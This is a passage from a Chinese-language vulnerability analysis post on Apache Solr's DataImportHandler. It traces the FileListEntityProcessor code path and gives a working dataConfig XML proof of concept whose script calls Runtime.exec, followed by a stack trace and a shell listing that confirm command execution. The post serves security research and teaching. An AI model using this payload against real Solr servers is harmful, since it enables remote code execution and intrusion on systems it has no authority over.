  10. String biggerThanStr = context.getEntityAttribute(BIGGER_THAN);
  11. if (biggerThanStr != null)
  12. biggerThan = getSize(biggerThanStr);
  13. String smallerThanStr = context.getEntityAttribute(SMALLER_THAN);
  14. if (smallerThanStr != null)
  15. smallerThan = getSize(smallerThanStr);
  16. getFolderFiles(dir, fileDetails);
  17. rowIterator = fileDetails.iterator();
  18. return getNext();
  19. }

发现在 getFolderFiles(dir, fileDetails);抛出了异常导致程序停止了
我们看看发生了什么

  1. private void getFolderFiles(File dir, final List<Map<String, Object>> fileDetails) {
  2. // Fetch an array of file objects that pass the filter, however the
  3. // returned array is never populated; accept() always returns false.
  4. // Rather we make use of the fileDetails array which is populated as
  5. // a side affect of the accept method.
  6. dir.list(new FilenameFilter() {
  7. @Override
  8. public boolean accept(File dir, String name) {
  9. File fileObj = new File(dir, name);
  10. if (fileObj.isDirectory()) {
  11. if (recursive) getFolderFiles(fileObj, fileDetails);
  12. } else if (fileNamePattern == null) {
  13. addDetails(fileDetails, dir, name);
  14. } else if (fileNamePattern.matcher(name).find()) {
  15. if (excludesPattern != null &amp;&amp; excludesPattern.matcher(name).find())
  16. return false;
  17. addDetails(fileDetails, dir, name);
  18. }
  19. return false;
  20. }
  21. });

其实很好理解,就是遍历我们的 dir,然后符合一些条件的就 addDetails,但是我们的

匹配是xml 文件
而 dir 下没有 xml 文件,但是有一个 sh 文件

我们修改一下 paylaod

  1. <dataConfig>
  2. <script><![CDATA[
  3. function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/a");
  4. }
  5. ]]></script>
  6. <document>
  7. <entity name="test"
  8. fileName=".*sh"
  9. baseDir="/"
  10. processor="FileListEntityProcessor"
  11. transformer="script:poc" />
  12. </document>
  13. </dataConfig>

然后再调试刚刚那一步

发现已经可以了

然后最后也是成功的到了执行 js 代码的调用

  1. initEngine:87, ScriptTransformer (org.apache.solr.handler.dataimport)
  2. transformRow:52, ScriptTransformer (org.apache.solr.handler.dataimport)
  3. applyTransformer:222, EntityProcessorWrapper (org.apache.solr.handler.dataimport)
  4. nextRow:280, EntityProcessorWrapper (org.apache.solr.handler.dataimport)
  5. buildDocument:476, DocBuilder (org.apache.solr.handler.dataimport)
  6. buildDocument:415, DocBuilder (org.apache.solr.handler.dataimport)
  7. doFullDump:330, DocBuilder (org.apache.solr.handler.dataimport)
  8. execute:233, DocBuilder (org.apache.solr.handler.dataimport)
  9. doFullImport:424, DataImporter (org.apache.solr.handler.dataimport)
  10. runCmd:483, DataImporter (org.apache.solr.handler.dataimport)
  11. lambda$runAsync$0:466, DataImporter (org.apache.solr.handler.dataimport)
  12. run:-1, 1892718288 (org.apache.solr.handler.dataimport.DataImporter$$Lambda$327)
  13. run:750, Thread (java.lang)
  1. root@08ae28c54bf9:/tmp# ls
  2. a hsperfdata_root jetty-0.0.0.0-8983-webapp-_solr-any-4881157502968994667.dir jetty-0.0.0.0-8983-webapp-_solr-any-8484391420778966491.dir start_1436351107128298018.properties

成功

最后

这篇文章前后写了很久,虽然内容不多,但是也是尽力从发现者的视角来写了,如果单纯为了复现它,简单理清楚原理,其实半天可能就够了,不过想要技术的进步感觉还得思路到了这一步我们应该怎么办?这是发现一个新漏洞会经历的过程,虽然花费了一周的时间,但是感觉还是学到了很多很多
参考https://mp.weixin.qq.com/s/typLOXZCev_9WH_Ux0s6oA()

  • 发表于 2025-03-10 10:00:01
  • 阅读 ( 25307 )
  • 分类:漏洞分析

0 条评论

nn0nkeyk1n9
nn0nkeyk1n9

5 篇文章

站长统计